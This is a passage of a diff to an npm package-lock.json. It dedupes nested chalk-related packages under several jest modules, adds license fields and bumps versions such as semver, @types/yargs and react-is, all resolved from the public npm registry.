-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-runner/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-runner/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-runner/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-runtime": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz",
       "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==",
+      "license": "MIT",
       "dependencies": {
         "@jest/environment": "^27.5.1",
         "@jest/fake-timers": "^27.5.1",
@@ -11557,74 +11191,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-runtime/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-runtime/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-runtime/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-runtime/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-runtime/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-runtime/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-serializer": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz",
       "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*",
         "graceful-fs": "^4.2.9"
@@ -11637,6 +11208,7 @@
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz",
       "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.7.2",
         "@babel/generator": "^7.7.2",
@@ -11665,77 +11237,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-snapshot/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-snapshot/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-snapshot/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-snapshot/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-snapshot/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-snapshot/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/jest-snapshot/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -11743,26 +11249,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/jest-snapshot/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-snapshot/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/jest-util": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
       "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "@types/node": "*",
@@ -11775,74 +11266,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-util/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-util/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-util/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-util/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-util/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-util/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-validate": {
       "version": "27.5.1",
       "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz",
       "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^27.5.1",
         "camelcase": "^6.2.0",
@@ -11855,74 +11283,11 @@
         "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
       }
     },
-    "node_modules/jest-validate/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
-    "node_modules/jest-validate/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-validate/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-validate/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
-    "node_modules/jest-validate/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/jest-validate/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-watch-typeahead": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz",
       "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==",
+      "license": "MIT",
       "dependencies": {
         "ansi-escapes": "^4.3.1",
         "chalk": "^4.0.0",
@@ -11943,6 +11308,7 @@
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.3.tgz",
       "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^28.1.3",
         "@types/node": "*",
@@ -11959,6 +11325,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
       "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -11967,6 +11334,7 @@
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.3.tgz",
       "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==",
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^28.1.3",
         "@jest/types": "^28.1.3",
@@ -11981,6 +11349,7 @@
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.3.tgz",
       "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/schemas": "^28.1.3",
         "@types/istanbul-lib-coverage": "^2.0.0",
@@ -11994,62 +11363,31 @@
       }
     },
     "node_modules/jest-watch-typeahead/node_modules/@types/yargs": {
-      "version": "17.0.32",
-      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.32.tgz",
-      "integrity": "sha512-xQ67Yc/laOG5uMfX/093MRlGGCIBzZMarVa+gfNKJxWAIgykYpVGkBdbqEzGDDfCrVUj6Hiff4mTZ5BA6TmAog==",
+      "version": "17.0.33",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.33.tgz",
+      "integrity": "sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==",
+      "license": "MIT",
       "dependencies": {
         "@types/yargs-parser": "*"
       }
     },
     "node_modules/jest-watch-typeahead/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "license": "MIT",
       "engines": {
-        "node": ">=8"
+        "node": ">=10"
       },
       "funding": {
         "url": "https://github.com/chalk/ansi-styles?sponsor=1"
       }
     },
-    "node_modules/jest-watch-typeahead/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/jest-watch-typeahead/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/jest-watch-typeahead/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-    },
     "node_modules/jest-watch-typeahead/node_modules/emittery": {
       "version": "0.10.2",
       "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz",
       "integrity": "sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==",
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -12057,18 +11395,11 @@
         "url": "https://github.com/sindresorhus/emittery?sponsor=1"
       }
     },
-    "node_modules/jest-watch-typeahead/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/jest-watch-typeahead/node_modules/jest-message-util": {
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-28.1.3.tgz",
       "integrity": "sha512-PFdn9Iewbt575zKPf1286Ht9EPoJmYT7P0kY+RibeYZ2XtOr53pDLEFoTWXbd1h4JiGiWpTBC84fc8xMXQMb7g==",
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.12.13",
         "@jest/types": "^28.1.3",
@@ -12088,6 +11419,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
       "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -12096,6 +11428,7 @@
       "version": "28.0.2",
       "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-28.0.2.tgz",
       "integrity": "sha512-4s0IgyNIy0y9FK+cjoVYoxamT7Zeo7MhzqRGx7YDYmaQn1wucY9rotiGkBzzcMXTtjrCAP/f7f+E0F7+fxPNdw==",
+      "license": "MIT",
       "engines": {
         "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
       }
@@ -12104,6 +11437,7 @@
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-28.1.3.tgz",
       "integrity": "sha512-XdqfpHwpcSRko/C35uLYFM2emRAltIIKZiJ9eAmhjsj0CqZMa0p1ib0R5fWIqGhn1a103DebTbpqIaP1qCQ6tQ==",
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^28.1.3",
         "@types/node": "*",
@@ -12120,6 +11454,7 @@
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-28.1.3.tgz",
       "integrity": "sha512-t4qcqj9hze+jviFPUN3YAtAEeFnr/azITXQEMARf5cMwKY2SMBRnCQTXLixTl20OR6mLh9KLMrgVJgJISym+1g==",
+      "license": "MIT",
       "dependencies": {
         "@jest/test-result": "^28.1.3",
         "@jest/types": "^28.1.3",
@@ -12138,6 +11473,7 @@
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
       "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+      "license": "MIT",
       "dependencies": {
         "char-regex": "^1.0.2",
         "strip-ansi": "^6.0.0"
@@ -12150,6 +11486,7 @@
       "version": "6.0.1",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
       "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^5.0.1"
       },
@@ -12161,6 +11498,7 @@
       "version": "28.1.3",
       "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-28.1.3.tgz",
       "integrity": "sha512-8gFb/To0OmxHR9+ZTb14Df2vNxdGCX8g1xWGUTqUw5TiZvcQf5sHKObd5UcPyLLyowNwDAMTF3XWOG1B6mxl1Q==",
+      "license": "MIT",
       "dependencies": {
         "@jest/schemas": "^28.1.3",
         "ansi-regex": "^5.0.1",
@@ -12171,26 +11509,17 @@
         "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
       }
     },
-    "node_modules/jest-watch-typeahead/node_modules/pretty-format/node_modules/ansi-styles": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
-      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
     "node_modules/jest-watch-typeahead/node_modules/react-is": {
-      "version": "18.2.0",
-      "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz",
-      "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w=="
+      "version": "18.3.1",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
+      "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
+      "license": "MIT"
     },
     "node_modules/jest-watch-typeahead/node_modules/slash": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz",
       "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==",
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -12202,6 +11531,7 @@
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/string-length/-/string-length-5.0.1.tgz",
       "integrity": "sha512-9Ep08KAMUn0OadnVaBuRdE2l615CQ508kr0XMadjClfYpdCyvrbFp6Taebo8yyxokQ4viUd/xPPUA4FGgUa0ow==",
+      "license": "MIT",
       "dependencies": {
         "char-regex": "^2.0.0",
         "strip-ansi": "^7.0.1"
@@ -12214,9 +11544,10 @@
       }
     },
     "node_modules/jest-watch-typeahead/node_modules/string-length/node_modules/char-regex": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-2.0.1.tgz",
